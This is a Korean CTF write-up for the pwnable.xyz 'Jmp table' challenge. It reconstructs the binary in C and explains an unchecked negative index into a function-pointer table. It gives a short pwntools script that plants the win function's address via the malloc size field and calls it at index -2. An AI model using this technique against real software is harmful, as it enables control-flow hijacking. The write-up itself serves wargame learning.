[pwnable.xyz] Jmp table write up
글 작성자: Universe7202
pwnable.xyz 11번째 문제 Jmp table 이다.
Analyze
위 문제의 사용자 정의 함수를 보면 아래와 같다.
ubuntu:~/environment/ctf/pwnable.xyz/11_Jump_table $ func challenge
_
do_exit
do_free
do_malloc
do_read
do_write
handler
main
print_menu
read_long
setup
문제의 바이너리 파일을 gdb로 분석하여 c코드로 나타내면 아래와 같다.
/*
_ v 0x0000000000400a31
b do_exit v
b do_free v
b do_malloc v
b do_read v
b do_write v
b handler
b main v
b print_menu v
b read_long v
b setup
=================== Function address =============================
0x6020a8: 0x0000000000000000 0x0000000000000001
0x6020b8 <heap_buffer>: 0x0000000000000001 0x0000000000400a44
0x6020c8 <vtable+8>: 0x0000000000400a5e 0x0000000000400ab8
0x6020d8 <vtable+24>: 0x0000000000400af4 0x0000000000400b30
0x6020e8: 0x0000000000000000 0x00007ffff7dd0760
0x6020f8: 0x0000000000000000 0x00007ffff7dcfa00
0x602108 <completed>: 0x0000000000000000 0x0000000000000000
*/
#include <stdio.h>
??? data_start;
??? size[8] = 1 // Can change in do_malloc
??? heap_buffer[8] = 1 // 0x6020b8
??? vtable[5] = {"0x0000000000400a44" ,".."}; // 0x6020c0
void print_menu(){
printf("1. Malloc\n2. Free\n3. Read\n4. Write\n0. Exit\n");
}
int read_long(){
memset(&rbp-0x30, 0, 0x20);
int len = read(0, &rbp-0x30, 0x20);
*(&rbp-0x30)[len - 1] = 0x0;
return strtoul(&rbp-0x30, 0 ,0); // ??
}
void do_exit(){ // 0x0000000000400a44
printf("Bye.\n");
exit(1);
}
void do_malloc(){ // 0x0000000000400a5e
printf("Size: ");
size = read_long();
char *addr = malloc(size);
// Heap overflow check
// Or check if allocated or not.
if(*addr == 0)
heap_buffer = 1;
else
*(heap_buffer) = *addr;
}
void do_read(){ // 0x0000000000400af4
if(heap_buffer == 1)
printf("Not allocated.\n");
else
read(0, *heap_buffer, *size); // ??
}
void do_free(){ // 0x0000000000400ab8
if(heap_buffer == 1)
printf("Not allocated.\n");
else{
free(*heap_buffer);
*heap_buffer = 1;
}
}
void do_write(){ // 0x0000000000400b30
if(heap_buffer == 1)
printf("Not allocated.\n");
else
write(1, *heap_buffer, *size);
}
int main(){
while(1){
print_menu();
printf("> ");
int select = read_long();
if(select <= 4){
vtable[select]();
}
else{
printf("Invalid.\n");
}
}
}
main() 함수와 vtable 변수를 보자.
vtable은 함수의 주소를 저장하고 있다.
main() 함수에서 사용자의 입력값에 따라, vtable의 인덱스에 있는 함수를 호출하게 된다.
하지만 사용자 입력값이 음수 인지를 검사하지 않아 vtable 변수보다 낮은 값에 접근 할 수 있게 된다.
또, do_malloc() 함수로 할당을 받은 뒤 size 변수에 크기가 저장이 된다.
이때의 메모리 구조를 보면 아래와 같다.
0x6020a8: 0x0000000000000000 0x0000000000000001 => size(0x6020b0)
0x6020b8 <heap_buffer>: 0x0000000000000001 0x0000000000400a44
0x6020c8 <vtable+8>: 0x0000000000400a5e 0x0000000000400ab8
0x6020d8 <vtable+24>: 0x0000000000400af4 0x0000000000400b30
0x6020e8: 0x0000000000000000 0x00007ffff7dd0760
0x6020f8: 0x0000000000000000 0x00007ffff7dcfa00
0x602108 <completed>: 0x0000000000000000 0x0000000000000000
사용자가 입력한 크기가 0x6020b0 에 저장이 된다.
즉, 여기에 _() 함수의 주소를 넣은 다음에,
메뉴 입력값에 -2 값을 입력하면 vtable[-2] = _() address 이므로 CALL 하게 된다.
Payload
from pwn import *
p = remote("svc.pwnable.xyz", 30007)
p.sendlineafter("> ", "1")
p.sendlineafter("Size: ", "4196913")
p.sendlineafter("> ", "-2")
print(p.recv())
ubuntu:~/environment/ctf/pwnable.xyz/11_Jump_table $ python poc.py
[+] Opening connection to svc.pwnable.xyz on port 30007: Done
FLAG{------------------------------}
[*] Closed connection to svc.pwnable.xyz port 30007
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] Game write up (0) | 2020.02.15 |
---|---|
[pwnable.xyz] l33t-ness write up (0) | 2020.01.31 |
[pwnable.xyz] TLSv00 write up (0) | 2020.01.28 |
[pwnable.xyz] free spirit write up (0) | 2020.01.27 |
[pwnable.xyz] note write up (0) | 2020.01.25 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] Game write up
[pwnable.xyz] Game write up
2020.02.15 -
[pwnable.xyz] l33t-ness write up
[pwnable.xyz] l33t-ness write up
2020.01.31 -
[pwnable.xyz] TLSv00 write up
[pwnable.xyz] TLSv00 write up
2020.01.28 -
[pwnable.xyz] free spirit write up
[pwnable.xyz] free spirit write up
2020.01.27